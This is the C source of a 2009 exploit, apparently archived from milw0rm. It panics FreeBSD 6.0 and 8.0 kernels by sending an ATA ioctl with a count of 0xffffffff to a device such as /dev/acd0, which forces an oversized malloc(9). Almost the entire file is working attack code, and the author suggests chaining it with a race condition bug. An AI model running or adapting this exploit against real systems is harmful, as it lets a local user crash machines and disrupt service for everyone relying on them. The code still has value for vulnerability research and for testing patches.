58 lines
No EOL
1.2 KiB
C
58 lines
No EOL
1.2 KiB
C
/* atapanic.c
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*
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* by Shaun Colley, 13 July 2009
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*
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* this panics the freebsd kernel by passing a large value to malloc(9) in one of
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* fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the
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* ata device in /dev to be able to open() the device. chain with some race condition
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* bug?
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*
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* - shaun
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*
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*/
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#include <sys/types.h>
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#include <sys/ioctl.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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struct ata_ioc_requestz {
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union {
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struct {
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u_int8_t command;
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u_int8_t feature;
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u_int64_t lba;
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u_int16_t count;
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} ata;
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struct {
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char ccb[16];
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} atapi;
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} u;
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caddr_t data;
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int count;
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int flags;
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int timeout;
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int error;
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};
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#define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz)
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int main() {
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struct ata_ioc_requestz evil;
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int fd;
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evil.count = 0xffffffff;
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fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */
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ioctl(fd, IOCATAREQUEST, &evil);
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/* should never reach here if kernel panics */
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return 0;
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}
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// milw0rm.com [2009-07-13]
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